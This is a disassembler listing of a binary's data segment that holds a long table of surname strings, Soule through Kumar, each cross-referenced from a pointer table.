aSoule db 'Soule',0 ; DATA XREF: seg002:0042FBE4o
align 4
aSoukup db 'Soukup',0 ; DATA XREF: seg002:0042FBE0o
align 4
aSottak db 'Sottak',0 ; DATA XREF: seg002:0042FBDCo
align 4
aSorg db 'Sorg',0 ; DATA XREF: seg002:0042FBD8o
align 4
aSorabella db 'Sorabella',0 ; DATA XREF: seg002:0042FBD4o
align 10h
aSommariva db 'Sommariva',0 ; DATA XREF: seg002:0042FBD0o
align 4
aSomers db 'Somers',0 ; DATA XREF: seg002:0042FBCCo
align 4
aSolon db 'Solon',0 ; DATA XREF: seg002:0042FBC8o
align 4
aSocolow db 'Socolow',0 ; DATA XREF: seg002:0042FBC4o
aSnodgrass db 'Snodgrass',0 ; DATA XREF: seg002:0042FBC0o
align 10h
aSniffen db 'Sniffen',0 ; DATA XREF: seg002:0042FBBCo
aSmilow db 'Smilow',0 ; DATA XREF: seg002:0042FBB8o
align 10h
aSlowe db 'Slowe',0 ; DATA XREF: seg002:0042FBB4o
align 4
aSloan db 'Sloan',0 ; DATA XREF: seg002:0042FBB0o
align 10h
aSkoda db 'Skoda',0 ; DATA XREF: seg002:0042FBACo
align 4
aSkerry db 'Skerry',0 ; DATA XREF: seg002:0042FBA8o
align 10h
aSkane db 'Skane',0 ; DATA XREF: seg002:0042FBA4o
align 4
aSites db 'Sites',0 ; DATA XREF: seg002:0042FBA0o
align 10h
aSirilli db 'Sirilli',0 ; DATA XREF: seg002:0042FB9Co
aSinsabaugh db 'Sinsabaugh',0 ; DATA XREF: seg002:0042FB98o
align 4
aSilvetti db 'Silvetti',0 ; DATA XREF: seg002:0042FB94o
align 10h
aSilverman db 'Silverman',0 ; DATA XREF: seg002:0042FB90o
align 4
aSigna db 'Signa',0 ; DATA XREF: seg002:0042FB8Co
align 4
aSigini db 'Sigini',0 ; DATA XREF: seg002:0042FB88o
align 4
aSigalot db 'Sigalot',0 ; DATA XREF: seg002:0042FB84o
aSiesto db 'Siesto',0 ; DATA XREF: seg002:0042FB80o
align 4
aShimon db 'Shimon',0 ; DATA XREF: seg002:0042FB7Co
align 4
aShibata db 'Shibata',0 ; DATA XREF: seg002:0042FB78o
aShia db 'Shia',0 ; DATA XREF: seg002:0042FB74o
align 4
aShesko db 'Shesko',0 ; DATA XREF: seg002:0042FB70o
align 4
aShepstone db 'Shepstone',0 ; DATA XREF: seg002:0042FB6Co
align 4
aSheppard db 'Sheppard',0 ; DATA XREF: seg002:0042FB68o
align 4
aShepherd db 'Shepherd',0 ; DATA XREF: seg002:0042FB64o
align 10h
aSheats db 'Sheats',0 ; DATA XREF: seg002:0042FB60o
align 4
aShea db 'Shea',0 ; DATA XREF: seg002:0042FB5Co
align 10h
aShavelson db 'Shavelson',0 ; DATA XREF: seg002:0042FB58o
align 4
aShatrov db 'Shatrov',0 ; DATA XREF: seg002:0042FB54o
aShar db 'Shar',0 ; DATA XREF: seg002:0042FB50o
align 4
aShanley db 'Shanley',0 ; DATA XREF: seg002:0042FB4Co
aShankland db 'Shankland',0 ; DATA XREF: seg002:0042FB48o
align 10h
aShakis db 'Shakis',0 ; DATA XREF: seg002:0042FB44o
align 4
aShaikh db 'Shaikh',0 ; DATA XREF: seg002:0042FB40o
align 10h
aSeyfert db 'Seyfert',0 ; DATA XREF: seg002:0042FB3Co
aSexton db 'Sexton',0 ; DATA XREF: seg002:0042FB38o
align 10h
aSeterdahl db 'Seterdahl',0 ; DATA XREF: seg002:0042FB34o
align 4
aSennett db 'Sennett',0 ; DATA XREF: seg002:0042FB30o
aSen db 'Sen',0 ; DATA XREF: seg002:0042FB2Co
aSelvage db 'Selvage',0 ; DATA XREF: seg002:0042FB28o
aSekler db 'Sekler',0 ; DATA XREF: seg002:0042FB24o
align 4
aSegal db 'Segal',0 ; DATA XREF: seg002:0042FB20o
align 10h
aSeeber db 'Seeber',0 ; DATA XREF: seg002:0042FB1Co
align 4
aSeaton db 'Seaton',0 ; DATA XREF: seg002:0042FB18o
align 10h
aScudder db 'Scudder',0 ; DATA XREF: seg002:0042FB14o
aScovel db 'Scovel',0 ; DATA XREF: seg002:0042FB10o
align 10h
aSchwickrath db 'Schwickrath',0 ; DATA XREF: seg002:0042FB0Co
aSchwan db 'Schwan',0 ; DATA XREF: seg002:0042FB08o
align 4
aSchuyler db 'Schuyler',0 ; DATA XREF: seg002:0042FB04o
align 10h
aSchutte db 'Schutte',0 ; DATA XREF: seg002:0042FB00o
aSchuman db 'Schuman',0 ; DATA XREF: seg002:0042FAFCo
aSchossberger db 'Schossberger',0 ; DATA XREF: seg002:0042FAF8o
align 10h
aSchmitt db 'Schmitt',0 ; DATA XREF: seg002:0042FAF4o
aSchilling db 'Schilling',0 ; DATA XREF: seg002:0042FAF0o
align 4
aSchifini db 'Schifini',0 ; DATA XREF: seg002:0042FAECo
align 10h
aSchiano db 'Schiano',0 ; DATA XREF: seg002:0042FAE8o
aScheiner db 'Scheiner',0 ; DATA XREF: seg002:0042FAE4o
align 4
aScharlemann db 'Scharlemann',0 ; DATA XREF: seg002:0042FAE0o
aScharf db 'Scharf',0 ; DATA XREF: seg002:0042FADCo
align 4
aScepan db 'Scepan',0 ; DATA XREF: seg002:0042FAD8o
align 10h
aScarponi db 'Scarponi',0 ; DATA XREF: seg002:0042FAD4o
align 4
aSayied db 'Sayied',0 ; DATA XREF: seg002:0042FAD0o
align 4
aSawtell db 'Sawtell',0 ; DATA XREF: seg002:0042FACCo
aSatterthwaite db 'Satterthwaite',0 ; DATA XREF: seg002:0042FAC8o
align 4
aSatta db 'Satta',0 ; DATA XREF: seg002:0042FAC4o
align 4
aSatin db 'Satin',0 ; DATA XREF: seg002:0042FAC0o
align 4
aSase db 'Sase',0 ; DATA XREF: seg002:0042FABCo
align 4
aSartore db 'Sartore',0 ; DATA XREF: seg002:0042FAB8o
aSarin db 'Sarin',0 ; DATA XREF: seg002:0042FAB4o
align 4
aSapers db 'Sapers',0 ; DATA XREF: seg002:0042FAB0o
align 4
aSanna db 'Sanna',0 ; DATA XREF: seg002:0042FAACo
align 4
aSanchezRamirez db 'Sanchez-Ramirez',0 ; DATA XREF: seg002:0042FAA8o
aSamson db 'Samson',0 ; DATA XREF: seg002:0042FAA4o
align 4
aSali db 'Sali',0 ; DATA XREF: seg002:0042FAA0o
align 4
aSahu db 'Sahu',0 ; DATA XREF: seg002:0042FA9Co
align 4
aSafire db 'Safire',0 ; DATA XREF: seg002:0042FA98o
align 4
aSadler db 'Sadler',0 ; DATA XREF: seg002:0042FA94o
align 4
aSabatello db 'Sabatello',0 ; DATA XREF: seg002:0042FA90o
align 4
aRyu db 'Ryu',0 ; DATA XREF: seg002:0042FA8Co
aRush db 'Rush',0 ; DATA XREF: seg002:0042FA88o
align 4
aRuescher db 'Ruescher',0 ; DATA XREF: seg002:0042FA84o
align 10h
aRuderman db 'Ruderman',0 ; DATA XREF: seg002:0042FA80o
align 4
aRuan db 'Ruan',0 ; DATA XREF: seg002:0042FA7Co
align 4
aRu db 'Ru',0 ; DATA XREF: seg002:0042FA78o
align 4
aRoyal db 'Royal',0 ; DATA XREF: seg002:0042FA74o
align 10h
aRow db 'Row',0 ; DATA XREF: seg002:0042FA70o
aRonen db 'Ronen',0 ; DATA XREF: seg002:0042FA6Co
align 4
aRogers db 'Rogers',0 ; DATA XREF: seg002:0042FA68o
align 4
aRoesler db 'Roesler',0 ; DATA XREF: seg002:0042FA64o
aRocha db 'Rocha',0 ; DATA XREF: seg002:0042FA60o
align 4
aRobinson db 'Robinson',0 ; DATA XREF: seg002:0042FA5Co
align 10h
aRivera db 'Rivera',0 ; DATA XREF: seg002:0042FA58o
align 4
aRish db 'Rish',0 ; DATA XREF: seg002:0042FA54o
align 10h
aRineer db 'Rineer',0 ; DATA XREF: seg002:0042FA50o
align 4
aRindos db 'Rindos',0 ; DATA XREF: seg002:0042FA4Co
align 10h
aRielly db 'Rielly',0 ; DATA XREF: seg002:0042FA48o
align 4
aRichmond db 'Richmond',0 ; DATA XREF: seg002:0042FA44o
align 4
aRhea db 'Rhea',0 ; DATA XREF: seg002:0042FA40o
align 4
aResnik db 'Resnik',0 ; DATA XREF: seg002:0042FA3Co
align 4
aRepetto db 'Repetto',0 ; DATA XREF: seg002:0042FA38o
aRenick db 'Renick',0 ; DATA XREF: seg002:0042FA34o
align 4
aRemak db 'Remak',0 ; DATA XREF: seg002:0042FA30o
align 4
aReinold db 'Reinold',0 ; DATA XREF: seg002:0042FA2Co
aCunningham db 'Cunningham',0 ; DATA XREF: seg002:0042FA28o
align 10h
aReedquist db 'Reedquist',0 ; DATA XREF: seg002:0042FA24o
align 4
aReddenTyler db 'Redden-Tyler',0 ; DATA XREF: seg002:0042FA20o
align 4
aRayport db 'Rayport',0 ; DATA XREF: seg002:0042FA1Co
aRapple db 'Rapple',0 ; DATA XREF: seg002:0042FA18o
align 4
aRankin db 'Rankin',0 ; DATA XREF: seg002:0042FA14o
align 4
aRangan db 'Rangan',0 ; DATA XREF: seg002:0042FA10o
align 4
aRaney db 'Raney',0 ; DATA XREF: seg002:0042FA0Co
align 4
aRajagopalan db 'Rajagopalan',0 ; DATA XREF: seg002:0042FA08o
aRadeke db 'Radeke',0 ; DATA XREF: seg002:0042FA04o
align 4
aRabkin db 'Rabkin',0 ; DATA XREF: seg002:0042FA00o
align 10h
aRabe db 'Rabe',0 ; DATA XREF: seg002:0042F9FCo
align 4
aQuetin db 'Quetin',0 ; DATA XREF: seg002:0042F9F8o
align 10h
aQuaday db 'Quaday',0 ; DATA XREF: seg002:0042F9F4o
align 4
aPynchon db 'Pynchon',0 ; DATA XREF: seg002:0042F9F0o
aPugh db 'Pugh',0 ; DATA XREF: seg002:0042F9ECo
align 4
aPuccia db 'Puccia',0 ; DATA XREF: seg002:0042F9E8o
align 10h
aProthrowStith db 'Prothrow-Stith',0 ; DATA XREF: seg002:0042F9E4o
align 10h
aProietti db 'Proietti',0 ; DATA XREF: seg002:0042F9E0o
align 4
aPritz db 'Pritz',0 ; DATA XREF: seg002:0042F9DCo
align 4
aPritchard db 'Pritchard',0 ; DATA XREF: seg002:0042F9D8o
align 10h
aPrevost db 'Prevost',0 ; DATA XREF: seg002:0042F9D4o
aPreucel db 'Preucel',0 ; DATA XREF: seg002:0042F9D0o
aPresper db 'Presper',0 ; DATA XREF: seg002:0042F9CCo
aPowers db 'Powers',0 ; DATA XREF: seg002:0042F9C8o
align 10h
aPoolman db 'Poolman',0 ; DATA XREF: seg002:0042F9C4o
aPoma db 'Poma',0 ; DATA XREF: seg002:0042F9C0o
align 10h
aPolitis db 'Politis',0 ; DATA XREF: seg002:0042F9BCo
aPolanyi db 'Polanyi',0 ; DATA XREF: seg002:0042F9B8o
aPolak db 'Polak',0 ; DATA XREF: seg002:0042F9B4o
align 4
aPoirier db 'Poirier',0 ; DATA XREF: seg002:0042F9B0o
aPointer db 'Pointer',0 ; DATA XREF: seg002:0042F9ACo
aPoincaire db 'Poincaire',0 ; DATA XREF: seg002:0042F9A8o
align 4
aPocobene db 'Pocobene',0 ; DATA XREF: seg002:0042F9A4o
align 10h
aPo db 'Po',0 ; DATA XREF: seg002:0042F9A0o
align 4
aPlous db 'Plous',0 ; DATA XREF: seg002:0042F99Co
align 4
aPlasket db 'Plasket',0 ; DATA XREF: seg002:0042F998o
aPlant db 'Plant',0 ; DATA XREF: seg002:0042F994o
align 4
aPlancon db 'Plancon',0 ; DATA XREF: seg002:0042F990o
aPinot db 'Pinot',0 ; DATA XREF: seg002:0042F98Co
align 4
aPilbeam db 'Pilbeam',0 ; DATA XREF: seg002:0042F988o
aPfister db 'Pfister',0 ; DATA XREF: seg002:0042F984o
aPettit db 'Pettit',0 ; DATA XREF: seg002:0042F980o
align 4
aPettibone db 'Pettibone',0 ; DATA XREF: seg002:0042F97Co
align 10h
aPetruzello db 'Petruzello',0 ; DATA XREF: seg002:0042F978o
align 4
aPeters db 'Peters',0 ; DATA XREF: seg002:0042F974o
align 4
aPerrimon db 'Perrimon',0 ; DATA XREF: seg002:0042F970o
align 10h
aPerone db 'Perone',0 ; DATA XREF: seg002:0042F96Co
align 4
aPerna db 'Perna',0 ; DATA XREF: seg002:0042F968o
align 10h
aPerlman db 'Perlman',0 ; DATA XREF: seg002:0042F964o
aPerlak db 'Perlak',0 ; DATA XREF: seg002:0042F960o
align 10h
aPerko db 'Perko',0 ; DATA XREF: seg002:0042F95Co
align 4
aPereira db 'Pereira',0 ; DATA XREF: seg002:0042F958o
aPenny db 'Penny',0 ; DATA XREF: seg002:0042F954o
align 4
aPeishel db 'Peishel',0 ; DATA XREF: seg002:0042F950o
aPederson db 'Pederson',0 ; DATA XREF: seg002:0042F94Co
align 4
aPearlberg db 'Pearlberg',0 ; DATA XREF: seg002:0042F948o
align 4
aPeabody db 'Peabody',0 ; DATA XREF: seg002:0042F944o
aPaynter db 'Paynter',0 ; DATA XREF: seg002:0042F940o
aPawloski db 'Pawloski',0 ; DATA XREF: seg002:0042F93Co
align 4
aPavlon db 'Pavlon',0 ; DATA XREF: seg002:0042F938o
align 4
aPavetti db 'Pavetti',0 ; DATA XREF: seg002:0042F934o
aPattullo db 'Pattullo',0 ; DATA XREF: seg002:0042F930o
align 10h
aPatrick db 'Patrick',0 ; DATA XREF: seg002:0042F92Co
aPatefield db 'Patefield',0 ; DATA XREF: seg002:0042F928o
align 4
aPascucci db 'Pascucci',0 ; DATA XREF: seg002:0042F924o
align 10h
aPartridge db 'Partridge',0 ; DATA XREF: seg002:0042F920o
align 4
aParris db 'Parris',0 ; DATA XREF: seg002:0042F91Co
align 4
aParmeggiani db 'Parmeggiani',0 ; DATA XREF: seg002:0042F918o
aPaoletti db 'Paoletti',0 ; DATA XREF: seg002:0042F914o
align 4
aPantilla db 'Pantilla',0 ; DATA XREF: seg002:0042F910o
align 4
aPanizzon db 'Panizzon',0 ; DATA XREF: seg002:0042F90Co
align 4
aPanadero db 'Panadero',0 ; DATA XREF: seg002:0042F908o
align 10h
aPalmitesta db 'Palmitesta',0 ; DATA XREF: seg002:0042F904o
align 4
aPallara db 'Pallara',0 ; DATA XREF: seg002:0042F900o
aPalepu db 'Palepu',0 ; DATA XREF: seg002:0042F8FCo
align 4
aPalayoor db 'Palayoor',0 ; DATA XREF: seg002:0042F8F8o
align 4
aPaine db 'Paine',0 ; DATA XREF: seg002:0042F8F4o
align 10h
aPaesdealmeida db 'PaesDealmeida',0 ; DATA XREF: seg002:0042F8F0o
align 10h
aOvid db 'Ovid',0 ; DATA XREF: seg002:0042F8ECo
align 4
aOuchida db 'Ouchida',0 ; DATA XREF: seg002:0042F8E8o
aOtten db 'Otten',0 ; DATA XREF: seg002:0042F8E4o
align 4
aOttaviani db 'Ottaviani',0 ; DATA XREF: seg002:0042F8E0o
align 4
aOstrowski db 'Ostrowski',0 ; DATA XREF: seg002:0042F8DCo
align 10h
aOspina db 'Ospina',0 ; DATA XREF: seg002:0042F8D8o
align 4
aOrsi db 'Orsi',0 ; DATA XREF: seg002:0042F8D4o
align 10h
aOrfield db 'Orfield',0 ; DATA XREF: seg002:0042F8D0o
aOray db 'Oray',0 ; DATA XREF: seg002:0042F8CCo
align 10h
aOpel db 'Opel',0 ; DATA XREF: seg002:0042F8C8o
align 4
aOMeara db 'O',27h,'meara',0 ; DATA XREF: seg002:0042F8C4o
aOman db 'Oman',0 ; DATA XREF: seg002:0042F8C0o
align 4
aOMalley db 'O',27h,'malley',0 ; DATA XREF: seg002:0042F8BCo
align 4
aOlszewski db 'Olszewski',0 ; DATA XREF: seg002:0042F8B8o
align 10h
aOlson db 'Olson',0 ; DATA XREF: seg002:0042F8B4o
align 4
aOlsen db 'Olsen',0 ; DATA XREF: seg002:0042F8B0o
align 10h
aOldford db 'Oldford',0 ; DATA XREF: seg002:0042F8ACo
aOHagan db 'O',27h,'hagan',0 ; DATA XREF: seg002:0042F8A8o
aOh db 'Oh',0 ; DATA XREF: seg002:0042F8A4o
align 4
aOgata db 'Ogata',0 ; DATA XREF: seg002:0042F8A0o
align 4
aOcougne db 'Ocougne',0 ; DATA XREF: seg002:0042F89Co
aNuzum db 'Nuzum',0 ; DATA XREF: seg002:0042F898o
align 4
aNotman db 'Notman',0 ; DATA XREF: seg002:0042F894o
align 4
aNitabach db 'Nitabach',0 ; DATA XREF: seg002:0042F890o
align 10h
aNisenson db 'Nisenson',0 ; DATA XREF: seg002:0042F88Co
align 4
aNickoloff db 'Nickoloff',0 ; DATA XREF: seg002:0042F888o
align 4
aNickerson db 'Nickerson',0 ; DATA XREF: seg002:0042F884o
align 4
aNi_0 db 'Ni',0 ; DATA XREF: seg002:0042F880o
align 4
aNg db 'Ng',0 ; DATA XREF: seg002:0042F87Co
align 4
aNewlin db 'Newlin',0 ; DATA XREF: seg002:0042F878o
align 4
aNewfeld db 'Newfeld',0 ; DATA XREF: seg002:0042F874o
aNeuman db 'Neuman',0 ; DATA XREF: seg002:0042F870o
align 4
aNesci db 'Nesci',0 ; DATA XREF: seg002:0042F86Co
align 4
aNenna db 'Nenna',0 ; DATA XREF: seg002:0042F868o
align 4
aNelson db 'Nelson',0 ; DATA XREF: seg002:0042F864o
align 4
aNayduch db 'Nayduch',0 ; DATA XREF: seg002:0042F860o
aNaviaux db 'Naviaux',0 ; DATA XREF: seg002:0042F85Co
aNardone db 'Nardone',0 ; DATA XREF: seg002:0042F858o
aNardi db 'Nardi',0 ; DATA XREF: seg002:0042F854o
align 4
aNapolitano db 'Napolitano',0 ; DATA XREF: seg002:0042F850o
align 4
aNaddeo db 'Naddeo',0 ; DATA XREF: seg002:0042F84Co
align 10h
aMussachio db 'Mussachio',0 ; DATA XREF: seg002:0042F848o
align 4
aMumford db 'Mumford',0 ; DATA XREF: seg002:0042F844o
aMulroy db 'Mulroy',0 ; DATA XREF: seg002:0042F840o
align 4
aMulkern db 'Mulkern',0 ; DATA XREF: seg002:0042F83Co
aMugnai db 'Mugnai',0 ; DATA XREF: seg002:0042F838o
align 4
aMuello db 'Muello',0 ; DATA XREF: seg002:0042F834o
align 4
aMudarri db 'Mudarri',0 ; DATA XREF: seg002:0042F830o
aMotooka db 'Motooka',0 ; DATA XREF: seg002:0042F82Co
aMostafavi db 'Mostafavi',0 ; DATA XREF: seg002:0042F828o
align 10h
aMosler db 'Mosler',0 ; DATA XREF: seg002:0042F824o
align 4
aMosher db 'Mosher',0 ; DATA XREF: seg002:0042F820o
align 10h
aMortimer db 'Mortimer',0 ; DATA XREF: seg002:0042F81Co
align 4
aMorrow db 'Morrow',0 ; DATA XREF: seg002:0042F818o
align 4
aMorrison db 'Morrison',0 ; DATA XREF: seg002:0042F814o
align 10h
aMoreton db 'Moreton',0 ; DATA XREF: seg002:0042F810o
aMorani db 'Morani',0 ; DATA XREF: seg002:0042F80Co
align 10h
aMooredech_ db 'MooreDeCh.',0 ; DATA XREF: seg002:0042F808o
align 4
aMontilio db 'Montilio',0 ; DATA XREF: seg002:0042F804o
align 4
aMonque db 'Monque',0 ; DATA XREF: seg002:0042F800o
align 10h
aMoiamedi db 'Moiamedi',0 ; DATA XREF: seg002:0042F7FCo
align 4
aMohr db 'Mohr',0 ; DATA XREF: seg002:0042F7F8o
align 4
aMoeller db 'Moeller',0 ; DATA XREF: seg002:0042F7F4o
aModestino db 'Modestino',0 ; DATA XREF: seg002:0042F7F0o
align 4
aMocroft db 'Mocroft',0 ; DATA XREF: seg002:0042F7ECo
aMittal db 'Mittal',0 ; DATA XREF: seg002:0042F7E8o
align 4
aMitropoulos db 'Mitropoulos',0 ; DATA XREF: seg002:0042F7E4o
aGonzalez db 'Gonzalez',0 ; DATA XREF: seg002:0042F7E0o
align 10h
aMinichiello db 'Minichiello',0 ; DATA XREF: seg002:0042F7DCo
aMini db 'Mini',0 ; DATA XREF: seg002:0042F7D8o
align 4
aMinh db 'Minh',0 ; DATA XREF: seg002:0042F7D4o
align 4
aMills db 'Mills',0 ; DATA XREF: seg002:0042F7D0o
align 4
aMieher db 'Mieher',0 ; DATA XREF: seg002:0042F7CCo
align 4
aMiddle db 'Middle',0 ; DATA XREF: seg002:0042F7C8o
align 4
aMichelman db 'Michelman',0 ; DATA XREF: seg002:0042F7C4o
align 10h
aMeurer db 'Meurer',0 ; DATA XREF: seg002:0042F7C0o
align 4
aMetropolis db 'Metropolis',0 ; DATA XREF: seg002:0042F7BCo
align 4
aMetelka db 'Metelka',0 ; DATA XREF: seg002:0042F7B8o
aMerz db 'Merz',0 ; DATA XREF: seg002:0042F7B4o
align 4
aMerseth db 'Merseth',0 ; DATA XREF: seg002:0042F7B0o
aMerminod db 'Merminod',0 ; DATA XREF: seg002:0042F7ACo
align 4
aMerlani db 'Merlani',0 ; DATA XREF: seg002:0042F7A8o
aMerikoski db 'Merikoski',0 ; DATA XREF: seg002:0042F7A4o
align 4
aMenzies db 'Menzies',0 ; DATA XREF: seg002:0042F7A0o
aMemisoglu db 'Memisoglu',0 ; DATA XREF: seg002:0042F79Co
align 10h
aMeccariello db 'Meccariello',0 ; DATA XREF: seg002:0042F798o
aMcnulty db 'Mcnulty',0 ; DATA XREF: seg002:0042F794o
aMcnealy db 'Mcnealy',0 ; DATA XREF: seg002:0042F790o
aMclaren db 'Mclaren',0 ; DATA XREF: seg002:0042F78Co
aMclane db 'Mclane',0 ; DATA XREF: seg002:0042F788o
align 4
aMckenna db 'Mckenna',0 ; DATA XREF: seg002:0042F784o
aMcintosh db 'Mcintosh',0 ; DATA XREF: seg002:0042F780o
align 10h
aMcilroy db 'McIlroy',0 ; DATA XREF: seg002:0042F77Co
aMcgoldrick db 'Mcgoldrick',0 ; DATA XREF: seg002:0042F778o
align 4
aMcghee db 'Mcghee',0 ; DATA XREF: seg002:0042F774o
align 4
aMcfadden db 'McFadden',0 ; DATA XREF: seg002:0042F770o
align 4
aMcelroy db 'Mcelroy',0 ; DATA XREF: seg002:0042F76Co
aMcdowell db 'Mcdowell',0 ; DATA XREF: seg002:0042F768o
align 4
aMcclearn db 'Mcclearn',0 ; DATA XREF: seg002:0042F764o
align 4
aMccall db 'Mccall',0 ; DATA XREF: seg002:0042F760o
align 10h
aMccaffery db 'Mccaffery',0 ; DATA XREF: seg002:0042F75Co
align 4
aMcbride db 'Mcbride',0 ; DATA XREF: seg002:0042F758o
aMazziotta db 'Mazziotta',0 ; DATA XREF: seg002:0042F754o
align 10h
aMazzali db 'Mazzali',0 ; DATA XREF: seg002:0042F750o
aMay db 'May',0 ; DATA XREF: seg002:0042F74Co
aMauzy db 'Mauzy',0 ; DATA XREF: seg002:0042F748o
align 4
aMattson db 'Mattson',0 ; DATA XREF: seg002:0042F744o
aMatsukata db 'Matsukata',0 ; DATA XREF: seg002:0042F740o
align 4
aMatarazzo db 'Matarazzo',0 ; DATA XREF: seg002:0042F73Co
align 4
aMatalka db 'Matalka',0 ; DATA XREF: seg002:0042F738o
aMass db 'Mass',0 ; DATA XREF: seg002:0042F734o
align 4
aMarubini db 'Marubini',0 ; DATA XREF: seg002:0042F730o
align 10h
aMarton db 'Marton',0 ; DATA XREF: seg002:0042F72Co
align 4
aMartochio db 'Martochio',0 ; DATA XREF: seg002:0042F728o
align 4
aMartinez db 'Martinez',0 ; DATA XREF: seg002:0042F724o
align 10h
aMarques db 'Marques',0 ; DATA XREF: seg002:0042F720o
aMargetts db 'Margetts',0 ; DATA XREF: seg002:0042F71Co
align 4
aMargalit db 'Margalit',0 ; DATA XREF: seg002:0042F718o
align 10h
aMarcus db 'Marcus',0 ; DATA XREF: seg002:0042F714o
align 4
aMarchbanks db 'Marchbanks',0 ; DATA XREF: seg002:0042F710o
align 4
aMarch db 'March',0 ; DATA XREF: seg002:0042F70Co
align 4
aMantovan db 'Mantovan',0 ; DATA XREF: seg002:0042F708o
align 4
aManganiello db 'Manganiello',0 ; DATA XREF: seg002:0042F704o
aMandel db 'Mandel',0 ; DATA XREF: seg002:0042F700o
align 4
aManalis db 'Manalis',0 ; DATA XREF: seg002:0042F6FCo
aMalova db 'Malova',0 ; DATA XREF: seg002:0042F6F8o
align 4
aMaller db 'Maller',0 ; DATA XREF: seg002:0042F6F4o
align 4
aMalatesta db 'Malatesta',0 ; DATA XREF: seg002:0042F6F0o
align 10h
aMaisano db 'Maisano',0 ; DATA XREF: seg002:0042F6ECo
aMaineHershey db 'Maine-Hershey',0 ; DATA XREF: seg002:0042F6E8o
align 4
aMaier db 'Maier',0 ; DATA XREF: seg002:0042F6E4o
align 10h
aMahony db 'Mahony',0 ; DATA XREF: seg002:0042F6E0o
align 4
aMaggio db 'Maggio',0 ; DATA XREF: seg002:0042F6DCo
align 10h
aMadigan db 'Madigan',0 ; DATA XREF: seg002:0042F6D8o
aMacy db 'Macy',0 ; DATA XREF: seg002:0042F6D4o
align 10h
aMacmillan db 'MacMillan',0 ; DATA XREF: seg002:0042F6D0o
align 4
aMackenney db 'Mackenney',0 ; DATA XREF: seg002:0042F6CCo
align 4
aMacintyre db 'Macintyre',0 ; DATA XREF: seg002:0042F6C8o
align 4
aMaceachern db 'Maceachern',0 ; DATA XREF: seg002:0042F6C4o
align 10h
aMacdonald db 'Macdonald',0 ; DATA XREF: seg002:0042F6C0o
align 4
aMaccormac db 'Maccormac',0 ; DATA XREF: seg002:0042F6BCo
align 4
aMa db 'Ma',0 ; DATA XREF: seg002:0042F6B8o
align 4
aLuzader db 'Luzader',0 ; DATA XREF: seg002:0042F6B4o
aLutcavage db 'Lutcavage',0 ; DATA XREF: seg002:0042F6B0o
align 10h
aLussier db 'Lussier',0 ; DATA XREF: seg002:0042F6ACo
aLuoma db 'Luoma',0 ; DATA XREF: seg002:0042F6A8o
align 10h
aLunetta db 'Lunetta',0 ; DATA XREF: seg002:0042F6A4o
aLuecke db 'Luecke',0 ; DATA XREF: seg002:0042F6A0o
align 10h
aLuczkow db 'Luczkow',0 ; DATA XREF: seg002:0042F69Co
aLuciano db 'Luciano',0 ; DATA XREF: seg002:0042F698o
aLucas db 'Lucas',0 ; DATA XREF: seg002:0042F694o
align 4
aLubin db 'Lubin',0 ; DATA XREF: seg002:0042F690o
align 10h
aLoza db 'Loza',0 ; DATA XREF: seg002:0042F68Co
align 4
aLowenstein db 'Lowenstein',0 ; DATA XREF: seg002:0042F688o
align 4
aLoveman db 'Loveman',0 ; DATA XREF: seg002:0042F684o
aLoss db 'Loss',0 ; DATA XREF: seg002:0042F680o
align 4
aLongworth db 'Longworth',0 ; DATA XREF: seg002:0042F67Co
align 10h
aLocatelli db 'Locatelli',0 ; DATA XREF: seg002:0042F678o
align 4
aLizardo db 'Lizardo',0 ; DATA XREF: seg002:0042F674o
aLivolsi db 'Livolsi',0 ; DATA XREF: seg002:0042F670o
aLivi db 'Livi',0 ; DATA XREF: seg002:0042F66Co
align 4
aLivernash db 'Livernash',0 ; DATA XREF: seg002:0042F668o
align 10h
aLitvak db 'Litvak',0 ; DATA XREF: seg002:0042F664o
align 4
aLittle db 'Little',0 ; DATA XREF: seg002:0042F660o
align 10h
aLipponen db 'Lipponen',0 ; DATA XREF: seg002:0042F65Co
align 4
aLippmann db 'Lippmann',0 ; DATA XREF: seg002:0042F658o
align 4
aLinzee db 'Linzee',0 ; DATA XREF: seg002:0042F654o
align 10h
aLinehan db 'Linehan',0 ; DATA XREF: seg002:0042F650o
aLine db 'Line',0 ; DATA XREF: seg002:0042F64Co
align 10h
aLinder db 'Linder',0 ; DATA XREF: seg002:0042F648o
align 4
aLinda db 'Linda',0 ; DATA XREF: seg002:0042F644o
align 10h
aLinares db 'Linares',0 ; DATA XREF: seg002:0042F640o
aLim db 'Lim',0 ; DATA XREF: seg002:0042F63Co
aLightfoot db 'Lightfoot',0 ; DATA XREF: seg002:0042F638o
align 4
aLight db 'Light',0 ; DATA XREF: seg002:0042F634o
align 10h
aLiem db 'Liem',0 ; DATA XREF: seg002:0042F630o
align 4
aLidano db 'Lidano',0 ; DATA XREF: seg002:0042F62Co
align 10h
aLiakos db 'Liakos',0 ; DATA XREF: seg002:0042F628o
align 4
aLessi db 'Lessi',0 ; DATA XREF: seg002:0042F624o
align 10h
aLesser db 'Lesser',0 ; DATA XREF: seg002:0042F620o
align 4
aLEnclos db 'l',27h,'Enclos',0 ; DATA XREF: seg002:0042F61Co
align 4
aLenard db 'Lenard',0 ; DATA XREF: seg002:0042F618o
align 4
aLeite db 'Leite',0 ; DATA XREF: seg002:0042F614o
align 4
aLeclercq db 'Leclercq',0 ; DATA XREF: seg002:0042F610o
align 10h
aLecce db 'Lecce',0 ; DATA XREF: seg002:0042F60Co
align 4
aLecar db 'Lecar',0 ; DATA XREF: seg002:0042F608o
align 10h
aLawless db 'Lawless',0 ; DATA XREF: seg002:0042F604o
aLashley db 'Lashley',0 ; DATA XREF: seg002:0042F600o
aLaserna db 'Laserna',0 ; DATA XREF: seg002:0042F5FCo
aLanzit db 'Lanzit',0 ; DATA XREF: seg002:0042F5F8o
align 10h
aLantieri db 'Lantieri',0 ; DATA XREF: seg002:0042F5F4o
align 4
aLankes db 'Lankes',0 ; DATA XREF: seg002:0042F5F0o
align 4
aLandes db 'Landes',0 ; DATA XREF: seg002:0042F5ECo
align 4
aLallemant db 'Lallemant',0 ; DATA XREF: seg002:0042F5E8o
align 4
aLaing db 'Laing',0 ; DATA XREF: seg002:0042F5E4o
align 10h
aLafler db 'Lafler',0 ; DATA XREF: seg002:0042F5E0o
align 4
aLabunka db 'Labunka',0 ; DATA XREF: seg002:0042F5DCo
aLa db 'La',0 ; DATA XREF: seg002:0042F5D8o
align 4
aKuwabara db 'Kuwabara',0 ; DATA XREF: seg002:0042F5D4o
align 10h
aKusman db 'Kusman',0 ; DATA XREF: seg002:0042F5D0o
align 4
aKumar db 'Kumar',0 ; DATA XREF: seg002:0042F5CCo
align 10h
